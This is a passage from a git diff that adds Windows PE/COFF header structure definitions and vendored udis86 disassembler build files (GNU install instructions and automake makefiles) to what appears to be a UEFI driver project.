0x00700000 // +#define IMAGE_SCN_ALIGN_128BYTES 0x00800000 // +#define IMAGE_SCN_ALIGN_256BYTES 0x00900000 // +#define IMAGE_SCN_ALIGN_512BYTES 0x00A00000 // +#define IMAGE_SCN_ALIGN_1024BYTES 0x00B00000 // +#define IMAGE_SCN_ALIGN_2048BYTES 0x00C00000 // +#define IMAGE_SCN_ALIGN_4096BYTES 0x00D00000 // +#define IMAGE_SCN_ALIGN_8192BYTES 0x00E00000 // +// Unused 0x00F00000 +#define IMAGE_SCN_ALIGN_MASK 0x00F00000 + +#define IMAGE_SCN_LNK_NRELOC_OVFL 0x01000000 // Section contains extended relocations. +#define IMAGE_SCN_MEM_DISCARDABLE 0x02000000 // Section can be discarded. +#define IMAGE_SCN_MEM_NOT_CACHED 0x04000000 // Section is not cachable. +#define IMAGE_SCN_MEM_NOT_PAGED 0x08000000 // Section is not pageable. +#define IMAGE_SCN_MEM_SHARED 0x10000000 // Section is shareable. +#define IMAGE_SCN_MEM_EXECUTE 0x20000000 // Section is executable. +#define IMAGE_SCN_MEM_READ 0x40000000 // Section is readable. +#define IMAGE_SCN_MEM_WRITE 0x80000000 // Section is writeable. + + +typedef struct _IMAGE_FILE_HEADER // Size=20 +{ + UINT16 Machine; + UINT16 NumberOfSections; + UINT32 TimeDateStamp; + UINT32 PointerToSymbolTable; + UINT32 NumberOfSymbols; + UINT16 SizeOfOptionalHeader; + UINT16 Characteristics; +} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; + +#define IMAGE_SIZEOF_SHORT_NAME 8 +typedef struct _IMAGE_SECTION_HEADER +{ + UINT8 Name[IMAGE_SIZEOF_SHORT_NAME]; + union + { + UINT32 PhysicalAddress; + UINT32 VirtualSize; + } Misc; + UINT32 VirtualAddress; + UINT32 SizeOfRawData; + UINT32 PointerToRawData; + UINT32 PointerToRelocations; + UINT32 PointerToLinenumbers; + UINT16 NumberOfRelocations; + UINT16 NumberOfLinenumbers; + UINT32 Characteristics; +} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; + +typedef struct _IMAGE_DATA_DIRECTORY +{ + UINT32 VirtualAddress; + UINT32 Size; +} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; + +// +// Optional header format. +// + +typedef struct _IMAGE_OPTIONAL_HEADER32 +{ + UINT16 Magic; + UINT8 MajorLinkerVersion; + UINT8 MinorLinkerVersion; + UINT32 SizeOfCode; + UINT32 SizeOfInitializedData; + UINT32 SizeOfUninitializedData; + UINT32 AddressOfEntryPoint; + UINT32 BaseOfCode; + UINT32 BaseOfData; + UINT32 ImageBase; + UINT32 SectionAlignment; + UINT32 FileAlignment; + UINT16 MajorOperatingSystemVersion; + UINT16 MinorOperatingSystemVersion; + UINT16 MajorImageVersion; + UINT16 MinorImageVersion; + UINT16 MajorSubsystemVersion; + UINT16 MinorSubsystemVersion; + UINT32 Win32VersionValue; + UINT32 SizeOfImage; + UINT32 SizeOfHeaders; + UINT32 CheckSum; + UINT16 Subsystem; + UINT16 DllCharacteristics; + UINT32 SizeOfStackReserve; + UINT32 SizeOfStackCommit; + UINT32 SizeOfHeapReserve; + UINT32 SizeOfHeapCommit; + UINT32 LoaderFlags; + UINT32 NumberOfRvaAndSizes; + struct _IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; +} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32; + +typedef struct _IMAGE_ROM_OPTIONAL_HEADER +{ + UINT16 Magic; + UINT8 MajorLinkerVersion; + UINT8 MinorLinkerVersion; + UINT32 SizeOfCode; + UINT32 SizeOfInitializedData; + UINT32 SizeOfUninitializedData; + UINT32 AddressOfEntryPoint; + UINT32 BaseOfCode; + UINT32 BaseOfData; + UINT32 BaseOfBss; + UINT32 GprMask; + UINT32 CprMask[4]; + UINT32 GpValue; +} IMAGE_ROM_OPTIONAL_HEADER, *PIMAGE_ROM_OPTIONAL_HEADER; + +typedef struct _IMAGE_OPTIONAL_HEADER64 +{ + UINT16 Magic; + UINT8 MajorLinkerVersion; + UINT8 MinorLinkerVersion; + UINT32 SizeOfCode; + UINT32 SizeOfInitializedData; + UINT32 SizeOfUninitializedData; + UINT32 AddressOfEntryPoint; + UINT32 BaseOfCode; + UINT64 ImageBase; + UINT32 SectionAlignment; + UINT32 FileAlignment; + UINT16 MajorOperatingSystemVersion; + UINT16 MinorOperatingSystemVersion; + UINT16 MajorImageVersion; + UINT16 MinorImageVersion; + UINT16 MajorSubsystemVersion; + UINT16 MinorSubsystemVersion; + UINT32 Win32VersionValue; + UINT32 SizeOfImage; + UINT32 SizeOfHeaders; + UINT32 CheckSum; + UINT16 Subsystem; + UINT16 DllCharacteristics; + UINT64 SizeOfStackReserve; + UINT64 SizeOfStackCommit; + UINT64 SizeOfHeapReserve; + UINT64 SizeOfHeapCommit; + UINT32 LoaderFlags; + UINT32 NumberOfRvaAndSizes; + struct _IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; +} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64; + +typedef struct _IMAGE_DOS_HEADER +{ // DOS .EXE header + UINT16 e_magic; // 0x0 // Magic number + UINT16 e_cblp; // 0x2 // Bytes on last page of file + UINT16 e_cp; // 0x4 // Pages in file + UINT16 e_crlc; // 0x6 // Relocations + UINT16 e_cparhdr; // 0x8 // Size of header in paragraphs + UINT16 e_minalloc; // 0xA // Minimum extra paragraphs needed + UINT16 e_maxalloc; // 0xC // Maximum extra paragraphs needed + UINT16 e_ss; // 0xE // Initial (relative) SS value + UINT16 e_sp; // 0x10 // Initial SP value + UINT16 e_csum; // 0x12 // Checksum + UINT16 e_ip; // 0x14 // Initial IP value + UINT16 e_cs; // 0x16 // Initial (relative) CS value + UINT16 e_lfarlc; // 0x18 // File address of relocation table + UINT16 e_ovno; // 0x1A // Overlay number + UINT16 e_res[4]; // 0x1C // Reserved words + UINT16 e_oemid; // 0x24 // OEM identifier (for e_oeminfo) + UINT16 e_oeminfo; // 0x26 // OEM information; e_oemid specific + UINT16 e_res2[10]; // 0x28 // Reserved words + INT32 e_lfanew; // 0x3C // File address of new exe header +} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; + +typedef struct _IMAGE_NT_HEADERS64 +{ + UINT32 Signature; // 0x0 + struct _IMAGE_FILE_HEADER FileHeader; // 0x4 + struct _IMAGE_OPTIONAL_HEADER64 OptionalHeader; // 0x18 +} IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64; + +typedef struct _IMAGE_NT_HEADERS +{ + UINT32 Signature; // 0x0 + struct _IMAGE_FILE_HEADER FileHeader; // 0x4 + struct _IMAGE_OPTIONAL_HEADER32 OptionalHeader; // 0x18 +} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32; + +#ifdef _WIN64 +typedef PIMAGE_NT_HEADERS64 PIMAGE_NT_HEADERS; +#else +typedef PIMAGE_NT_HEADERS32 PIMAGE_NT_HEADERS; +#endif + +typedef struct _IMAGE_EXPORT_DIRECTORY +{ + UINT32 Characteristics; + UINT32 TimeDateStamp; + UINT16 MajorVersion; + UINT16 MinorVersion; + UINT32 Name; + UINT32 Base; + UINT32 NumberOfFunctions; + UINT32 NumberOfNames; + UINT32 AddressOfFunctions; // RVA from base of image + UINT32 AddressOfNames; // RVA from base of image + UINT32 AddressOfNameOrdinals; // RVA from base of image +} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; + +typedef struct _IMAGE_BASE_RELOCATION +{ + UINT32 VirtualAddress; + UINT32 SizeOfBlock; + // UINT16 TypeOffset[1]; +} IMAGE_BASE_RELOCATION; +typedef IMAGE_BASE_RELOCATION __unaligned *PIMAGE_BASE_RELOCATION; + +typedef struct _IMAGE_IMPORT_BY_NAME +{ + UINT16 Hint; + char Name[1]; +} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME; + +// warning C4201: nonstandard extension used : nameless struct/union +#pragma warning (disable : 4201) + +typedef struct _IMAGE_IMPORT_DESCRIPTOR +{ + union + { + UINT32 Characteristics; // 0 for terminating null import descriptor + UINT32 OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) + }; + UINT32 TimeDateStamp; // 0 if not bound, + // -1 if bound, and real date\time stamp + // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) + // O.W. date/time stamp of DLL bound to (Old BIND) + + UINT32 ForwarderChain; // -1 if no forwarders + UINT32 Name; + UINT32 FirstThunk; // RVA to IAT (if bound this IAT has actual addresses) +} IMAGE_IMPORT_DESCRIPTOR; +typedef IMAGE_IMPORT_DESCRIPTOR __unaligned *PIMAGE_IMPORT_DESCRIPTOR; + +typedef struct _IMAGE_THUNK_DATA64 +{ + union + { + UINT64 ForwarderString; // PBYTE + UINT64 Function; // PULONG + UINT64 Ordinal; + UINT64 AddressOfData; // PIMAGE_IMPORT_BY_NAME + } u1; +} IMAGE_THUNK_DATA64; +typedef IMAGE_THUNK_DATA64 * PIMAGE_THUNK_DATA64; +typedef PIMAGE_THUNK_DATA64 PIMAGE_THUNK_DATA; + +typedef struct _IMAGE_THUNK_DATA32 +{ + union + { + UINT32 ForwarderString; // PBYTE + UINT32 Function; // PULONG + UINT32 Ordinal; + UINT32 AddressOfData; // PIMAGE_IMPORT_BY_NAME + } u1; +} IMAGE_THUNK_DATA32; +typedef IMAGE_THUNK_DATA32 * PIMAGE_THUNK_DATA32; + + +// +// Thread Local Storage +// + +typedef VOID( EFIAPI *PIMAGE_TLS_CALLBACK )(VOID* DllHandle, UINT32 Reason, VOID* Reserved); + +typedef struct _IMAGE_TLS_DIRECTORY64 +{ + UINT64 StartAddressOfRawData; + UINT64 EndAddressOfRawData; + UINT64 AddressOfIndex; // PULONG + UINT64 AddressOfCallBacks; // PIMAGE_TLS_CALLBACK *; + UINT32 SizeOfZeroFill; + union + { + UINT32 Characteristics; + struct + { + UINT32 Reserved0 : 20; + UINT32 Alignment : 4; + UINT32 Reserved1 : 8; + }; + }; + +} IMAGE_TLS_DIRECTORY64; +typedef IMAGE_TLS_DIRECTORY64 * PIMAGE_TLS_DIRECTORY64; + +typedef struct _IMAGE_TLS_DIRECTORY32 +{ + UINT32 StartAddressOfRawData; + UINT32 EndAddressOfRawData; + UINT32 AddressOfIndex; // PULONG + UINT32 AddressOfCallBacks; // PIMAGE_TLS_CALLBACK * + UINT32 SizeOfZeroFill; + union + { + UINT32 Characteristics; + struct + { + UINT32 Reserved0 : 20; + UINT32 Alignment : 4; + UINT32 Reserved1 : 8; + }; + }; + +} IMAGE_TLS_DIRECTORY32; +typedef IMAGE_TLS_DIRECTORY32 * PIMAGE_TLS_DIRECTORY32; \ No newline at end of file diff --git a/UefiDriver/udis86/._INSTALL b/UefiDriver/udis86/._INSTALL new file mode 100644 index 0000000000000000000000000000000000000000..70b67a690a6ea56a6c6c0986209e1ed20b8ef89a GIT binary patch literal 222 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@fsio@$UgK5x_AdBnYYuq+J^qI7A5ADWagzZ6zUro7#Lcc8d{i{BwM6eyXWVp=cL9|7#TQc v6y@ipTAR2!yILAMyXm?*S(@vb7@8UCS~^;o={j1tIGegUy0{pb88QF>9@8U6 literal 0 HcmV?d00001 diff --git a/UefiDriver/udis86/INSTALL b/UefiDriver/udis86/INSTALL new file mode 100644 index 0000000..5458714 --- /dev/null +++ b/UefiDriver/udis86/INSTALL @@ -0,0 +1,234 @@ +Installation Instructions +************************* + +Copyright (C) 1994, 1995, 1996, 1999, 2000, 2001, 2002, 2004, 2005, +2006 Free Software Foundation, Inc. + +This file is free documentation; the Free Software Foundation gives +unlimited permission to copy, distribute and modify it. + +Basic Installation +================== + +Briefly, the shell commands `./configure; make; make install' should +configure, build, and install this package. The following +more-detailed instructions are generic; see the `README' file for +instructions specific to this package. + + The `configure' shell script attempts to guess correct values for +various system-dependent variables used during compilation. It uses +those values to create a `Makefile' in each directory of the package. +It may also create one or more `.h' files containing system-dependent +definitions. Finally, it creates a shell script `config.status' that +you can run in the future to recreate the current configuration, and a +file `config.log' containing compiler output (useful mainly for +debugging `configure'). + + It can also use an optional file (typically called `config.cache' +and enabled with `--cache-file=config.cache' or simply `-C') that saves +the results of its tests to speed up reconfiguring. Caching is +disabled by default to prevent problems with accidental use of stale +cache files. + + If you need to do unusual things to compile the package, please try +to figure out how `configure' could check whether to do them, and mail +diffs or instructions to the address given in the `README' so they can +be considered for the next release. If you are using the cache, and at +some point `config.cache' contains results you don't want to keep, you +may remove or edit it. + + The file `configure.ac' (or `configure.in') is used to create +`configure' by a program called `autoconf'. You need `configure.ac' if +you want to change it or regenerate `configure' using a newer version +of `autoconf'. + +The simplest way to compile this package is: + + 1. `cd' to the directory containing the package's source code and type + `./configure' to configure the package for your system. + + Running `configure' might take a while. While running, it prints + some messages telling which features it is checking for. + + 2. Type `make' to compile the package. + + 3. Optionally, type `make check' to run any self-tests that come with + the package. + + 4. Type `make install' to install the programs and any data files and + documentation. + + 5. You can remove the program binaries and object files from the + source code directory by typing `make clean'. To also remove the + files that `configure' created (so you can compile the package for + a different kind of computer), type `make distclean'. There is + also a `make maintainer-clean' target, but that is intended mainly + for the package's developers. If you use it, you may have to get + all sorts of other programs in order to regenerate files that came + with the distribution. + +Compilers and Options +===================== + +Some systems require unusual options for compilation or linking that the +`configure' script does not know about. Run `./configure --help' for +details on some of the pertinent environment variables. + + You can give `configure' initial values for configuration parameters +by setting variables in the command line or in the environment. Here +is an example: + + ./configure CC=c99 CFLAGS=-g LIBS=-lposix + + *Note Defining Variables::, for more details. + +Compiling For Multiple Architectures +==================================== + +You can compile the package for more than one kind of computer at the +same time, by placing the object files for each architecture in their +own directory. To do this, you can use GNU `make'. `cd' to the +directory where you want the object files and executables to go and run +the `configure' script. `configure' automatically checks for the +source code in the directory that `configure' is in and in `..'. + + With a non-GNU `make', it is safer to compile the package for one +architecture at a time in the source code directory. After you have +installed the package for one architecture, use `make distclean' before +reconfiguring for another architecture. + +Installation Names +================== + +By default, `make install' installs the package's commands under +`/usr/local/bin', include files under `/usr/local/include', etc. You +can specify an installation prefix other than `/usr/local' by giving +`configure' the option `--prefix=PREFIX'. + + You can specify separate installation prefixes for +architecture-specific files and architecture-independent files. If you +pass the option `--exec-prefix=PREFIX' to `configure', the package uses +PREFIX as the prefix for installing programs and libraries. +Documentation and other data files still use the regular prefix. + + In addition, if you use an unusual directory layout you can give +options like `--bindir=DIR' to specify different values for particular +kinds of files. Run `configure --help' for a list of the directories +you can set and what kinds of files go in them. + + If the package supports it, you can cause programs to be installed +with an extra prefix or suffix on their names by giving `configure' the +option `--program-prefix=PREFIX' or `--program-suffix=SUFFIX'. + +Optional Features +================= + +Some packages pay attention to `--enable-FEATURE' options to +`configure', where FEATURE indicates an optional part of the package. +They may also pay attention to `--with-PACKAGE' options, where PACKAGE +is something like `gnu-as' or `x' (for the X Window System). The +`README' should mention any `--enable-' and `--with-' options that the +package recognizes. + + For packages that use the X Window System, `configure' can usually +find the X include and library files automatically, but if it doesn't, +you can use the `configure' options `--x-includes=DIR' and +`--x-libraries=DIR' to specify their locations. + +Specifying the System Type +========================== + +There may be some features `configure' cannot figure out automatically, +but needs to determine by the type of machine the package will run on. +Usually, assuming the package is built to be run on the _same_ +architectures, `configure' can figure that out, but if it prints a +message saying it cannot guess the machine type, give it the +`--build=TYPE' option. TYPE can either be a short name for the system +type, such as `sun4', or a canonical name which has the form: + + CPU-COMPANY-SYSTEM + +where SYSTEM can have one of these forms: + + OS KERNEL-OS + + See the file `config.sub' for the possible values of each field. If +`config.sub' isn't included in this package, then this package doesn't +need to know the machine type. + + If you are _building_ compiler tools for cross-compiling, you should +use the option `--target=TYPE' to select the type of system they will +produce code for. + + If you want to _use_ a cross compiler, that generates code for a +platform different from the build platform, you should specify the +"host" platform (i.e., that on which the generated programs will +eventually be run) with `--host=TYPE'. + +Sharing Defaults +================ + +If you want to set default values for `configure' scripts to share, you +can create a site shell script called `config.site' that gives default +values for variables like `CC', `cache_file', and `prefix'. +`configure' looks for `PREFIX/share/config.site' if it exists, then +`PREFIX/etc/config.site' if it exists. Or, you can set the +`CONFIG_SITE' environment variable to the location of the site script. +A warning: not all `configure' scripts look for a site script. + +Defining Variables +================== + +Variables not defined in a site shell script can be set in the +environment passed to `configure'. However, some packages may run +configure again during the build, and the customized values of these +variables may be lost. In order to avoid this problem, you should set +them in the `configure' command line, using `VAR=value'. For example: + + ./configure CC=/usr/local2/bin/gcc + +causes the specified `gcc' to be used as the C compiler (unless it is +overridden in the site shell script). + +Unfortunately, this technique does not work for `CONFIG_SHELL' due to +an Autoconf bug. Until the bug is fixed you can use this workaround: + + CONFIG_SHELL=/bin/bash /bin/bash ./configure CONFIG_SHELL=/bin/bash + +`configure' Invocation +====================== + +`configure' recognizes the following options to control how it operates. + +`--help' +`-h' + Print a summary of the options to `configure', and exit. + +`--version' +`-V' + Print the version of Autoconf used to generate the `configure' + script, and exit. + +`--cache-file=FILE' + Enable the cache: use and save the results of the tests in FILE, + traditionally `config.cache'. FILE defaults to `/dev/null' to + disable caching. + +`--config-cache' +`-C' + Alias for `--cache-file=config.cache'. + +`--quiet' +`--silent' +`-q' + Do not print messages saying which checks are being made. To + suppress all normal output, redirect it to `/dev/null' (any error + messages will still be shown). + +`--srcdir=DIR' + Look for the package's source code in directory DIR. Usually + `configure' can determine that directory automatically. + +`configure' also accepts some other, not widely useful, options. Run +`configure --help' for more details. + diff --git a/UefiDriver/udis86/Makefile.am b/UefiDriver/udis86/Makefile.am new file mode 100644 index 0000000..62a62f5 --- /dev/null +++ b/UefiDriver/udis86/Makefile.am @@ -0,0 +1,38 @@ +ACLOCAL_AMFLAGS = -I build/m4 + +SUBDIRS = scripts libudis86 udcli docs tests + +MAINTAINERCLEANFILES = \ + Makefile.in \ + configure \ + config.h.in \ + config.h.in~ \ + missing \ + aclocal.m4 \ + build/config.guess \ + build/config.sub \ + build/compile \ + build/config.guess \ + build/config.sub \ + build/depcomp \ + build/install-sh \ + build/ltmain.sh \ + build/missing + +include_ladir = ${includedir} +include_la_HEADERS = udis86.h + +.PHONY: libudis86 udcli tests docs + +libudis86: + $(MAKE) -C $@ + +udcli: libudis86 + $(MAKE) -C $@ + +tests: check + +maintainer-clean-local: + -rm -rf build/m4 + -rm -rf build + -rm -rf autom4te.cache diff --git a/UefiDriver/udis86/Makefile.in b/UefiDriver/udis86/Makefile.in new file mode 100644 index 0000000..2821bd2 --- /dev/null +++ b/UefiDriver/udis86/Makefile.in @@ -0,0 +1,870 @@ +# Makefile.in generated by automake 1.13.1 from Makefile.am. +# @configure_input@ + +# Copyright (C) 1994-2012 Free Software Foundation, Inc. + +# This Makefile.in is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY, to the extent permitted by law; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A +# PARTICULAR PURPOSE. + +@SET_MAKE@ + +VPATH = @srcdir@ +am__make_dryrun = \ + { \ + am__dry=no; \ + case $$MAKEFLAGS in \ + *\\[\ \ ]*) \ + echo 'am--echo: ; @echo "AM" OK' | $(MAKE) -f - 2>/dev/null \ + | grep '^AM OK$$' >/dev/null || am__dry=yes;; \ + *) \ + for am__flg in $$MAKEFLAGS; do \ + case $$am__flg in \ + *=*|--*) ;; \ + *n*) am__dry=yes; break;; \ + esac; \ + done;; \ + esac; \ + test $$am__dry = yes; \ + } +pkgdatadir = $(datadir)/@PACKAGE@ +pkgincludedir = $(includedir)/@PACKAGE@ +pkglibdir = $(libdir)/@PACKAGE@ +pkglibexecdir = $(libexecdir)/@PACKAGE@ +am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd +install_sh_DATA = $(install_sh) -c -m 644 +install_sh_PROGRAM = $(install_sh) -c +install_sh_SCRIPT = $(install_sh) -c +INSTALL_HEADER = $(INSTALL_DATA) +transform = $(program_transform_name) +NORMAL_INSTALL = : +PRE_INSTALL = : +POST_INSTALL = : +NORMAL_UNINSTALL = : +PRE_UNINSTALL = : +POST_UNINSTALL = : +build_triplet = @build@ +host_triplet = @host@ +subdir = . +DIST_COMMON = $(srcdir)/Makefile.in $(srcdir)/Makefile.am \ + $(top_srcdir)/configure $(am__configure_deps) \ + $(srcdir)/config.h.in $(include_la_HEADERS) INSTALL README \ + build/compile build/config.guess build/config.sub \ + build/install-sh build/missing build/ltmain.sh \ + $(top_srcdir)/build/compile $(top_srcdir)/build/config.guess \ + $(top_srcdir)/build/config.sub $(top_srcdir)/build/install-sh \ + $(top_srcdir)/build/ltmain.sh $(top_srcdir)/build/missing +ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 +am__aclocal_m4_deps = $(top_srcdir)/build/m4/libtool.m4 \ + $(top_srcdir)/build/m4/ltoptions.m4 \ + $(top_srcdir)/build/m4/ltsugar.m4 \ + $(top_srcdir)/build/m4/ltversion.m4 \ + $(top_srcdir)/build/m4/lt~obsolete.m4 \ + $(top_srcdir)/m4/ax_compare_version.m4 \ + $(top_srcdir)/m4/ax_prog_sphinx_version.m4 \ + $(top_srcdir)/m4/ax_prog_yasm_version.m4 \ + $(top_srcdir)/m4/ax_with_prog.m4 \ + $(top_srcdir)/m4/ax_with_python.m4 $(top_srcdir)/configure.ac +am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ + $(ACLOCAL_M4) +am__CONFIG_DISTCLEAN_FILES = config.status config.cache config.log \ + configure.lineno config.status.lineno +mkinstalldirs = $(install_sh) -d +CONFIG_HEADER = config.h +CONFIG_CLEAN_FILES = +CONFIG_CLEAN_VPATH_FILES = +AM_V_P = $(am__v_P_@AM_V@) +am__v_P_ = $(am__v_P_@AM_DEFAULT_V@) +am__v_P_0 = false +am__v_P_1 = : +AM_V_GEN = $(am__v_GEN_@AM_V@) +am__v_GEN_ = $(am__v_GEN_@AM_DEFAULT_V@) +am__v_GEN_0 = @echo " GEN " $@; +am__v_GEN_1 = +AM_V_at = $(am__v_at_@AM_V@) +am__v_at_ = $(am__v_at_@AM_DEFAULT_V@) +am__v_at_0 = @ +am__v_at_1 = +SOURCES = +DIST_SOURCES = +RECURSIVE_TARGETS = all-recursive check-recursive cscopelist-recursive \ + ctags-recursive dvi-recursive html-recursive info-recursive \ + install-data-recursive install-dvi-recursive \ + install-exec-recursive install-html-recursive \ + install-info-recursive install-pdf-recursive \ + install-ps-recursive install-recursive installcheck-recursive \ + installdirs-recursive pdf-recursive ps-recursive \ + tags-recursive uninstall-recursive +am__can_run_installinfo = \ + case $$AM_UPDATE_INFO_DIR in \ + n|no|NO) false;; \ + *) (install-info --version) >/dev/null 2>&1;; \ + esac +am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; +am__vpath_adj = case $$p in \ + $(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \ + *) f=$$p;; \ + esac; +am__strip_dir = f=`echo $$p | sed -e 's|^.*/||'`; +am__install_max = 40 +am__nobase_strip_setup = \ + srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*|]/\\\\&/g'` +am__nobase_strip = \ + for p in $$list; do echo "$$p"; done | sed -e "s|$$srcdirstrip/||" +am__nobase_list = $(am__nobase_strip_setup); \ + for p in $$list; do echo "$$p $$p"; done | \ + sed "s| $$srcdirstrip/| |;"' / .*\//!s/ .*/ ./; s,\( .*\)/[^/]*$$,\1,' | \ + $(AWK) 'BEGIN { files["."] = "" } { files[$$2] = files[$$2] " " $$1; \ + if (++n[$$2] == $(am__install_max)) \ + { print $$2, files[$$2]; n[$$2] = 0; files[$$2] = "" } } \ + END { for (dir in files) print dir, files[dir] }' +am__base_list = \ + sed '$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;s/\n/ /g' | \ + sed '$$!N;$$!N;$$!N;$$!N;s/\n/ /g' +am__uninstall_files_from_dir = { \ + test -z "$$files" \ + || { test ! -d "$$dir" && test ! -f "$$dir" && test ! -r "$$dir"; } \ + || { echo " ( cd '$$dir' && rm -f" $$files ")"; \ + $(am__cd) "$$dir" && rm -f $$files; }; \ + } +am__installdirs = "$(DESTDIR)$(include_ladir)" +HEADERS = $(include_la_HEADERS) +RECURSIVE_CLEAN_TARGETS = mostlyclean-recursive clean-recursive \ + distclean-recursive maintainer-clean-recursive +am__recursive_targets = \ + $(RECURSIVE_TARGETS) \ + $(RECURSIVE_CLEAN_TARGETS) \ + $(am__extra_recursive_targets) +AM_RECURSIVE_TARGETS = $(am__recursive_targets:-recursive=) TAGS CTAGS \ + cscope distdir dist dist-all distcheck +am__tagged_files = $(HEADERS) $(SOURCES) $(TAGS_FILES) \ + $(LISP)config.h.in +# Read a list of newline-separated strings from the standard input, +# and print each of them once, without duplicates. Input order is +# *not* preserved. +am__uniquify_input = $(AWK) '\ + BEGIN { nonempty = 0; } \ + { items[$$0] = 1; nonempty = 1; } \ + END { if (nonempty) { for (i in items) print i; }; } \ +' +# Make sure the list of sources is unique. This is necessary because, +# e.g., the same source file might be shared among _SOURCES variables +# for different programs/libraries. +am__define_uniq_tagged_files = \ + list='$(am__tagged_files)'; \ + unique=`for i in $$list; do \ + if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ + done | $(am__uniquify_input)` +ETAGS = etags +CTAGS = ctags +CSCOPE = cscope +DIST_SUBDIRS = $(SUBDIRS) +DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) +distdir = $(PACKAGE)-$(VERSION) +top_distdir = $(distdir) +am__remove_distdir = \ + if test -d "$(distdir)"; then \ + find "$(distdir)" -type d ! -perm -200 -exec chmod u+w {} ';' \ + && rm -rf "$(distdir)" \ + || { sleep 5 && rm -rf "$(distdir)"; }; \ + else :; fi +am__post_remove_distdir = $(am__remove_distdir) +am__relativize = \ + dir0=`pwd`; \ + sed_first='s,^\([^/]*\)/.*$$,\1,'; \ + sed_rest='s,^[^/]*/*,,'; \ + sed_last='s,^.*/\([^/]*\)$$,\1,'; \ + sed_butlast='s,/*[^/]*$$,,'; \ + while test -n "$$dir1"; do \ + first=`echo "$$dir1" | sed -e "$$sed_first"`; \ + if test "$$first" != "."; then \ + if test "$$first" = ".."; then \ + dir2=`echo "$$dir0" | sed -e "$$sed_last"`/"$$dir2"; \ + dir0=`echo "$$dir0" | sed -e "$$sed_butlast"`; \ + else \ + first2=`echo "$$dir2" | sed -e "$$sed_first"`; \ + if test "$$first2" = "$$first"; then \ + dir2=`echo "$$dir2" | sed -e "$$sed_rest"`; \ + else \ + dir2="../$$dir2"; \ + fi; \ + dir0="$$dir0"/"$$first"; \ + fi; \ + fi; \ + dir1=`echo "$$dir1" | sed -e "$$sed_rest"`; \ + done; \ + reldir="$$dir2" +DIST_ARCHIVES = $(distdir).tar.gz +GZIP_ENV = --best +DIST_TARGETS = dist-gzip +distuninstallcheck_listfiles = find . -type f -print +am__distuninstallcheck_listfiles = $(distuninstallcheck_listfiles) \ + | sed 's|^\./|$(prefix)/|' | grep -v '$(infodir)/dir$$' +distcleancheck_listfiles = find . -type f -print +ACLOCAL = @ACLOCAL@ +ACLOCAL_AMFLAGS = -I build/m4 +AMTAR = @AMTAR@ +AM_DEFAULT_VERBOSITY = @AM_DEFAULT_VERBOSITY@ +AR = @AR@ +AS = @AS@ +AUTOCONF = @AUTOCONF@ +AUTOHEADER = @AUTOHEADER@ +AUTOMAKE = @AUTOMAKE@ +AWK = @AWK@ +CC = @CC@ +CCDEPMODE = @CCDEPMODE@ +CFLAGS = @CFLAGS@ +CPP = @CPP@ +CPPFLAGS = @CPPFLAGS@ +CYGPATH_W = @CYGPATH_W@ +DEFS = @DEFS@ +DEPDIR = @DEPDIR@ +DLLTOOL = @DLLTOOL@ +DSYMUTIL = @DSYMUTIL@ +DUMPBIN = @DUMPBIN@ +ECHO_C = @ECHO_C@ +ECHO_N = @ECHO_N@ +ECHO_T = @ECHO_T@ +EGREP = @EGREP@ +EXEEXT = @EXEEXT@ +FGREP = @FGREP@ +GREP = @GREP@ +INSTALL = @INSTALL@ +INSTALL_DATA = @INSTALL_DATA@ +INSTALL_PROGRAM = @INSTALL_PROGRAM@ +INSTALL_SCRIPT = @INSTALL_SCRIPT@ +INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ +LD = @LD@ +LDFLAGS = @LDFLAGS@ +LIBOBJS = @LIBOBJS@ +LIBS = @LIBS@ +LIBTOOL = @LIBTOOL@ +LIPO = @LIPO@ +LN_S = @LN_S@ +LTLIBOBJS = @LTLIBOBJS@ +MAKEINFO = @MAKEINFO@ +MANIFEST_TOOL = @MANIFEST_TOOL@ +MKDIR_P = @MKDIR_P@ +NM = @NM@ +NMEDIT = @NMEDIT@ +OBJDUMP = @OBJDUMP@ +OBJEXT = @OBJEXT@ +OTOOL = @OTOOL@ +OTOOL64 = @OTOOL64@ +PACKAGE = @PACKAGE@ +PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ +PACKAGE_NAME = @PACKAGE_NAME@ +PACKAGE_STRING = @PACKAGE_STRING@ +PACKAGE_TARNAME = @PACKAGE_TARNAME@ +PACKAGE_URL = @PACKAGE_URL@ +PACKAGE_VERSION = @PACKAGE_VERSION@ +PATH_SEPARATOR = @PATH_SEPARATOR@ +PYTHON = @PYTHON@ +RANLIB = @RANLIB@ +SED = @SED@ +SET_MAKE = @SET_MAKE@ 